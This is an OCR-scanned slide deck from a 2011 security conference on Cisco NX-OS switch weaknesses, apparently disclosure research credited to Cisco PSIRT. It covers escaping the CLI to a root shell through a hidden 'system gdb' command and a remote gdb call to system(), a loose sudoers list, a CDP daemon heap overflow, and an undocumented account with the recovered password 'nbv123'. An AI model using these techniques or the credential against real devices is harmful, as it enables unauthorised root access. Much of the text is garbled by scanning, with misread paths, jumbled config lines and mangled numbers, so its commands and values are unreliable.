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What is NX-OS?
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Nexus 4000 (for IBM BladeCenter)
Nexus 5000

Nexus 7000

MDS 9500 FC Directors

MDS 9222i FC Switch

MDS 9100 FC Switches
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Cisco 7000-series
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Overview

vDC1
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Teh Linux

2011-03-31

26620 15480 7
14192 4964 7
76604 7192 ?
11944 4132 7
16028 6356 7
16084 6808 7
16544 6972 7
19696 £e08 7
13312 4092 7
13512 4296 7
17308 6856 7
47592 14520 7
16872 6784 7
15880 6412 7
17912 5796 7
15012 5688 7
23308 10784 7
$09128 10108 7
16728 6672 7

91008 /isanfb\n/pixmc
9 :00 /1san/binfp\xm

: /ison/bin/pdl,srv_tst
P00 /ison/bin/nfm

3 /isan/btnfmsp

$ /1son/binfeth_spon
9:00 /ison/bin/mfdm
p:pB /isan
9100 /isan/bin/ipqosmqr
P:00 /1san/bin/ethanalyzer
+ 00 /ison/bin/routing-sw/dcos-
1.5 /ison/bmn/copp
A% /isan/bin/vms

100 /isan/binfeth,pcm
@:00 /isan/bin/vlan_mgr
700 /\son/btnfeth_port_sec
@:00 /isan/bin/\ocp
@:00 /isan/bin{ethpm
@:01 /1 ' /routing-sw/i
2
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Hidden commands cvagrcom i

GROUP

DC3 Shell ‘the regular Cisco cli’

- Configurations contain ‘hidden’ commands

l s .
B | inux# cd fisanfetc/rout1ng-sw/ullz

Linuxdt grep “hidden * | we -1
631
Linux#

command 'some_cmd '

syntax system gdb <if>

keyword system "System management commands"

keyword gdb "Start debugging for process with PID"
integer '<iB@=' "Select the PID" @ 65536 tid 15

hidden gdb <if=

permission admin

mode '/exec'

handler function sysmgr_debug_pid cli-sysmgr args-legacy
end

nexus# system gab 7
A

% invalid command detected at 'A' marke
X rl
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Escaping CLIi cveseou it

NEXus# systenm gdb 2834

= 3 N
ut 2634 under gdbserver control7[Y or NJj
: Ty

Spawning: gdbsery
: Yer on
Attached; pug o ack. O POt 10081 for PID 294

LIStenlnn U nmaed s

marvwp 1101 :~ george$ gdb

GNU gdb 6.3.58-20050815 {(Apple version gdb-1469) (Wed May 5 B84:36:56 UTC 2018)
Copyright 2084 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are
welcome to change 1t and/or distribute copies of 1t under certain conditions.

Type “show copying" to see the conditions.

There 1s absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "x86_64-apple-darwin”.

{gdb) target remote 192.168.159.130:10001

Remote debugging using 192.165.159.138:18001

B8x777b740d in 7?7 ()

{gdb) call system{("id")
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How could that happened?!
CYBERCOMﬁ

GROUP

ecute as root in follow

dont put generic command such as vehmod" “rm" here;
parameters if possible to restrict the use
1SAN_CMNDS = Kison/bln!tshark, /sbin’ has. /
in/nbitool, /bin/ Jusr/bin/gdbserver n/
oo stmp/loca

—_— Dlhﬂ&glsk\. f.usr('buuwh.v - 0
—— - tiaan tiMEZONE, Jbin/rm

temp/ isan.time
1/format-disks

Linux# cat sudoers
wn commands which you would want to ex

#Add your O
# Please note:
# always append

Cmnd_Al1as
- ,Aki}aol,ujj§gnbootfsb

snprintf mm u
printf(&command 0x200
’ ’ l

. y 4@ .
prl”tf(”spawffffb‘pld);

| &
s2UuUdo N "
0O gdbserver any:s

1’ ( S C(:b* erver
ysterr(&cor' X 2CTvel on ";Cf’# a4
puts("Error lrm?n?) ) POrt %ad for PID %d\n"
)\ Spawning qdbser ‘ . gdb_port att i i
J gdbserver!"), p ach_pid); sbin/ loadplugl
cmd, /isan/bin
sanboot/bin/ing

n, /Zisanzsovers—
Zinst-mts-trace,
hdr , /bin/mount
isan/bin/ping, /bin
erouteb, Jusr/sbin/arp,
ntfpasfilc_helper, /bin/chmod £Li
/logs/*, /bin/rm -f fvarjsysmgr/tmp_logs/*,
anbootjsbin/format—usbl, /isanboot/sbin/formut—u
ash, /usrfbin/etrings *environ, /bin/rm -rf Jtmp/sy
Jchmod 777 svolatile/*

/lc/isan/Binzinsy=me -
-0 YO fmntﬁbootloader, ZbinZumount 7mnty wwws -~ r, /bin/ping, /

/ping6, fisanfbin/ping6, /usrfsbinftroceroute, Jusr/sbin/trac
jison/bin/sup—ilc-script, Zsbin/ip, /bin/chmod 777 -R /m
-R /dev/shm{ilc_helper, /bin/rm -f Jvar /sysmgr
sbin/rm -f fvarfsysmgrjftpfupg*, /is

sbh2, /isanbootfsbinfformat-logfl
smgr_bootcli_extractsf*, Jbin

ollowing line

# dont modify f
ALL ALL = NGPASSND:ISAN_CHNDS
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BrOken architecture cvagrcow i
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Everything is running as r

Inaries execute using SUDO..
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What about layer 2? cvagrcom i
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Linux# ps aux
root 1564
admin
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ol
The core dump

134848588
1094795584

134546588

‘ 2010106100
} . Ax7fff 200
| px7ffff298
| : 1894?95525
. oo 3484851 e
o ;’;;9 é;égcf6649 < int_mal loc+530
| ' Bx77cfb

@x10283 [ CF SF IF RF ]
ox73 115

ax7b

ax7b

M Bx77cf6649 in -int_mal loc () from /root/isan/lib/ |4
N . gia Bx77c1638d in imalloe ¢

() from /root/isan/lib/libpmulloc.so
33 Ox77cf59df in malloc () from /rootfisan/lib/libpmalloc.so
X Bx77e01c8f in mtrack_int_alloc_aligned () from froot/isan/lib/libmtrack.so
Bx77e01e58 in mtrack_int_al loe () from froot/isan/libflibmtrack.so
8x8805062q in mtrack_al loc ()
8xB80769d5 in Cdpd_mal loc ()

Ox88067b1f in Cdpd_process_packet ()

Bx08063doa in cdpd_handle_net_pkt ()
Bx08051543 in main ()

bpmal loc.so

Troopers Con 2011
2011-03-31



CDP Daemon vulnerability analysis cvesgcou f

GROUP

* More then 255 bytes is used as ‘Device ID’ to
cause the segfault.

* The protocol specification allows length as a 16-bit

integer. , — ,
Field name Type Description Versions
cdp.checksum Unsigned 16-bit integer Checksum 1.0.0t0 1.4.1
cdp.checksum_bad Boolean Bad 1.0.0t0 1.4.1
cdp.checksum_good Boolean Good 1.0.0to0 1.4.1
cdp.deviceid String Device ID 1.4.0t0 1.4.1
cdp.platform String Platform 1.4.0to0 1.41
cdp.portid = TCTCY- - _Sent through Interface  1.4.0 to 1.4.1
cdp.tlv.len Unsigned 16-bit integer Length 1.0.0to 1.4.1
cdp.tlv. s ype 1.0.0to 1.4.1
cdp.ttl Unsigned 16-bit integer TTL 1.0.0t0 1.4.1
cdp.version Unsigned 8-bit integer  Version 1.0.0t0 1.4.1
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CDP Daemon vulnerability analysis cvesgcou f

Debugging:

(intl6) lenA = (unsigned _ intlé) (payload - 4); // size field
(byte)lenB = payload - 4 + 1;
(void *)pkt _dst = cdpd malloc(13, (byte)lenB);

memset (pkt_dst, 0, (byte)lenB)
memcpy (pkt_dst, (const void *) (packet ptr + 4), (intl6)lend);

Ox 57 8 (int) 1400
Ox 57 (byte) 87

Anything larger than 255 is truncated
causing a consecutive HEAP overflow...
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Undocumented user account cvBERCoM i

So, where ‘ftpuser’ come from?

Linux# cat /etc/passwd

‘AR
root:*:@:@:root:(root.z1- nexus# sh run
bin:*:1:1:bin:/bin: version 4.8(4}SV1(2}

. daemon:*:2:2:dazmon:fuSI username admin password 5
[ aua sk Fay :'/' ev. e SEYL I =
Q"'{S .*.J.J.S>S tt‘lnet \elvcr tnable role nEtwork-admln

frpi¥:15:14:ftp:/var/ Tl ssh key dsq
) ftpuger:UVdRSOZDszgoig’ ip domain-lookup
\ nobodvi*=65534:65534:n0 ip host nexus 192.168.159.138
admin:x:Z@BZ:SBS::fvorf Kernel core target B.é B'é ;
M kernel core limit 1 o

system default switchport

Default user? Backdoor? Easter egg?

Recovered password ‘nbv123’

Troopers Con 2011
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Searching for ‘nbv123’

Google

*J Everything
v More

v/ Show search tools

2011-03-31

cisco nbv123 Search ‘

6 results (0.36 seconds) Advanced search

or] Provisioning Self-Sign Certificates

File Format: PDF/Adobe Acrobat - Quick View

Password:nbv123. The subject name in the certificate will be: ips-vegas8.cisco. com. Include
the switch serial number in the subject name? [yes/no]:no ...
www.cisco.com/en/US/docs/switches/datacenter/mds9000/sw/.../cert. pdf

Cisco Nexus 7000 Series NX-OS Configuration Examples. Release 5.x ...
Password: nbv123 The subject name in the certificate will be: ...
www.cisco.com/.../Cisco_Nexus_7000_Series_NX-OS_Configuration_ ...

CiscoMDS 9000 7 7S U—CLI AY 7 «FalL—Yav H4K ..
Password: nbv123. The subject name in the certificate will be: ...
www.cisco.com/japanese/warp/public/3/jp/service/.../8222_08_35.shtml

More results from cisco.com »

ror] Cisco Nexus 7000 Series NX-OS Configuration Examples, Release 5.x

File Format: PDF/Adobe Acrobat - View as HTML

5 Mar 2010 ... Password: nbv123. The subject name in the certificate will be: Device-1.cisco.
com. Include the switch serial number in the subject name? ...
www.cisco.biz/.../Cisco_Nexus_7000_Series_NX-OS_Configuration_
Examples_Release_5.x.pdf

ror; C Commands

File Format: PDF/Adobe Acrobat - Quick View

Password:nbv123. The subject name in the certificate will be: Vegas-1.cisco.com. Include
the switch serial number in the subject name? [yes/no]:no ...
cisco.biz/en/US/docs/switches/datacenter/sw/4_1/nx.../sec_cmds_c.pdf

4| Show more results from cisco.biz

ror] Cisco Nexus 7000 Series NX-OS Security Configuration Guide ...

File Format: PDF/Adobe Acrobat

Password:nbv123. The subject name in the certificate will be: DeviceA.cisco.com. Include
the switch serial number in the subject name? [yes/no]: ...
www.thurisa.com/.../Cisco_Nexus_7000_NX-OS_Security_Configuration_
Guide__Release_4.2.pdf

ror] Cisco MDS 8000 Family Command Reference

17
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oIl

IDDd DC3 Shel|
Copyright (c) 2e01, 2002 by

Cisco Systems,

375 E. Tasman Drive,
San Jose, CA,

USA.

vsh [<Dptions>]
=C <command> : execute a single command
-f <filex> + execute commands from file
I <cfg-files : commaesS N rile are CONi Ty oenmands
-b <filex - break at first error while executing
-1 <vdc-ids + 3et the vde in which's context to run
-t <secondss W hactivity timeout value
<bitmasks debuy Pittass
<args + execution filter mode
<Y g> : option (generic)
<caller-ids: caller-id
w <Arg> s _DosngiEy
+ Suppress syntax errors
* all commands al lowed (roles disabled)
load parsetree on LC
: Boots'(y spatiade frin eame ~ames- T rst
+ Debug: stops execution at main (to attach gdb )
« N0 pagination
« execution filter
‘ : become process group leader
+ //logging
s /7 alloy redirection anywhere
: /7 core file handler
: help
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DelLorean with Flux Capacitor cvagrcow i
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Bug tracking cvaercom it
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T h an ks CYBERCOM ff(
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Special thanks to Juan-Manuel Gonzales, PSIRT
Incident Manager <juagonza@cisco.com>
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Questions?

Contact george.hedfors@cybercomgroup.com
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